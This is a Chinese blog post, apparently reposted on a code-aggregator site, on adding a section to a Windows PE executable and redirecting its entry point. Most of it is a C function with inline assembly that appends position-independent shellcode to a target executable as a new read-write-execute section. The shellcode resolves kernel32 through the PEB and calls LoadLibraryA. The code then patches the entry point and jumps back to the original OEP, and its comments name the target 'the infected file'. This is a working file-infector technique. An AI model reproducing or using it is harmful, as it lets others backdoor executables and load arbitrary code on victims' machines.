PE文件的修改以及增加节区

来源:互联网 发布:怎么用php模板引擎 编辑:程序博客网 时间:2024/05/17 03:40

修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

BOOL ChangeOEP(CString strFilePath)   {       FILE*                   rwFile;                     // 被感染的文件       IMAGE_SECTION_HEADER    NewSection;                 // 定义要添加的区块       IMAGE_NT_HEADERS        NThea;                      //        DWORD                   pNT;                        // pNT中存放IMAGE_NT_HEADERS结构的地址       int                     nOldSectionNo;       int                     OEP;              if((rwFile=fopen(strFilePath,"rb"))==NULL){         // 打开文件失败则返回           return FALSE;       }              if(!CheckPE(rwFile)){                               // 如果不是PE文件则返回           return FALSE;       }              fseek(rwFile,0x3c,0);       fread(&pNT,sizeof(DWORD),1,rwFile);       fseek(rwFile,pNT,0);       fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);    // 读取原文件的IMAGE_NT_HEADERS结构       nOldSectionNo=NThea.FileHeader.NumberOfSections;    // 保存原文件区块数量       OEP=NThea.OptionalHeader.AddressOfEntryPoint;       // 保存原文件区块OEP       IMAGE_SECTION_HEADER    SEChea;                     // 定义一个区块存放原文件最后一个区块的信息       int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;       int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   // 保存文件对齐值与区块对齐值       memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));       fseek(rwFile,pNT+248,0);                            // 读原文件最后一个区块的信息       for(int i=0;i<nOldSectionNo;i++)           fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);              FILE    *newfile = fopen(strFilePath,"rb+");       if(newfile==NULL){           return FALSE;       }       fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);       goto shellend;       __asm       {       shell:  PUSHAD               MOV  EAX,DWORD PTR FS:[30H]     ;FS:[30H]指向PEB               MOV  EAX,DWORD PTR [EAX+0CH]    ;获取PEB_LDR_DATA结构的指针               MOV  EAX,DWORD PTR [EAX+1CH]    ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针               MOV  EAX,DWORD PTR [EAX]        ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针               MOV  EAX,DWORD PTR [EAX+08H]    ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址               MOV  EBP,EAX                    ;将Kernel32.dll模块基址地址放至kernel中               MOV  EAX,DWORD PTR [EAX+3CH]    ;指向IMAGE_NT_HEADERS               MOV  EAX,DWORD PTR [EBP+EAX+120];指向导出表               MOV  ECX,[EBP+EAX+24]           ;取导出表中导出函数名字的数目               MOV  EBX,[EBP+EAX+32]           ;取导出表中名字表的地址               ADD  EBX,EBP               PUSH WORD  PTR 0X00             ;构造GetProcAddress字符串               PUSH DWORD PTR 0X73736572               PUSH DWORD PTR 0X64644163               PUSH DWORD PTR 0X6F725074               PUSH WORD PTR 0X6547               MOV  EDX,ESP               PUSH ECX                  F1:             MOV  EDI,EDX               POP  ECX               DEC  ECX               TEST  ECX,ECX               JZ  EXIT               MOV  ESI,[EBX+ECX*4]                   ADD  ESI,EBP               PUSH  ECX               MOV  ECX,15               REPZ  CMPSB               TEST  ECX,ECX               JNZ  F1                              POP  ECX               MOV  ESI,[EBP+EAX+36]           ;取得导出表中序号表的地址               ADD  ESI,EBP               MOVZX  ESI,WORD PTR[ESI+ECX*2]  ;取得进入函数地址表的序号               MOV  EDI,[EBP+EAX+28]           ;取得函数地址表的地址               ADD  EDI,EBP               MOV  EDI,[EDI+ESI*4]            ;取得GetProcAddress函数的地址               ADD  EDI,EBP                                    PUSH WORD PTR 0X00              ;构造LoadLibraryA字符串               PUSH DWORD PTR 0X41797261               PUSH DWORD PTR 0X7262694C               PUSH DWORD PTR 0X64616F4C               PUSH ESP               PUSH  EBP               CALL  EDI                       ;调用GetProcAddress取得LoadLibraryA函数的地址               PUSH  WORD PTR 0X00             ;添加参数“test”符串               PUSH  DWORD PTR 0X74736574               PUSH  ESP               CALL  EAX   EXIT:  ADD ESP,36                           ;平衡堆栈          POPAD       }   shellend:       char*   pShell;       int     nShellLen;       BYTE    jmp = 0xE9;       __asm       {           LEA EAX,shell           MOV pShell,EAX;           LEA EBX,shellend           SUB EBX,EAX           MOV nShellLen,EBX       }                  // 写入SHELLCODE,       for(i=0;i<nShellLen;i++)           fputc(pShell[i],newfile);                  // SHELLCODE之后是跳转到原OEP的指令       NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);       OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;       fwrite(&jmp, sizeof(jmp), 1, newfile);       fwrite(&OEP, sizeof(OEP), 1, newfile);                  // 将最后增加的数据用0填充至按文件中对齐的大小       for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)           fputc('\0',newfile);                  // 新区块中的数据       strcpy((char*)NewSection.Name,".NYsky");       NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;       NewSection.Misc.VirtualSize=nShellLen;       NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);       NewSection.Characteristics=0xE0000020;                  // 新区块可读可写可执行、写入新的块表       fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);       fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);              int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);       int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);       fseek(newfile,pNT,0);       NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;       NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;       NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;       NThea.OptionalHeader.SizeOfImage=nNewImageSize;       NThea.FileHeader.NumberOfSections=nOldSectionNo+1;       NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;                  // 写入更新后的PE头结构       fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);       fclose(newfile);       fclose(rwFile);       return TRUE;   }


原创粉丝点击